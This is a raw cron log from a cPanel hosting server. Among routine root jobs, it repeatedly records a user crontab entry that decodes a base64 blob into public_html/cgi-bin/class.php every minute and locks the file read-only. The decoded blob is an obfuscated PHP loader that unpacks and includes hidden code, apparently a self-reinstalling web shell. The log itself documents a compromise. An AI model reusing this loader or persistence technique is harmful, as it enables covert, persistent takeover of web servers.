Sep  8 09:15:01 server CROND[18103]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:15:01 server CROND[18104]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 09:15:01 server CROND[18099]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:16:01 server CROND[18936]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:16:01 server CROND[18937]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:16:01 server CROND[18938]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:17:01 server CROND[19308]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:17:01 server CROND[19309]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:17:01 server CROND[19310]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:18:01 server CROND[19822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:18:01 server CROND[19824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:18:01 server CROND[19825]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:19:01 server CROND[20192]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:19:01 server CROND[20193]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:19:01 server CROND[20194]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:20:01 server CROND[20579]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:20:01 server CROND[20580]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 09:20:01 server CROND[20584]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:20:01 server CROND[20598]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:20:01 server CROND[20595]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  8 09:20:01 server CROND[20597]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:20:01 server CROND[20601]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:20:01 server CROND[20600]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:20:01 server CROND[20602]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:21:01 server CROND[21424]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:21:01 server CROND[21425]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:21:01 server CROND[21426]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:22:01 server CROND[21850]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:22:01 server CROND[21851]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:22:01 server CROND[21852]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:23:01 server CROND[22321]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:23:01 server CROND[22320]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:23:01 server CROND[22322]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:24:01 server CROND[22676]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:24:01 server CROND[22677]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:24:01 server CROND[22678]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:25:01 server CROND[23222]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  8 09:25:01 server CROND[23224]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:25:01 server CROND[23225]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 09:25:01 server CROND[23223]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 09:25:01 server CROND[23234]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:25:01 server CROND[23235]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:25:01 server CROND[23238]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  8 09:26:01 server CROND[24046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 09:26:01 server CROND[24047]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:26:01 server CROND[24048]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:27:01 server CROND[24426]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 09:27:01 server CROND[24427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  8 09:27:01 server CROND[24428]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 09:27:01 server CROND[24429]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
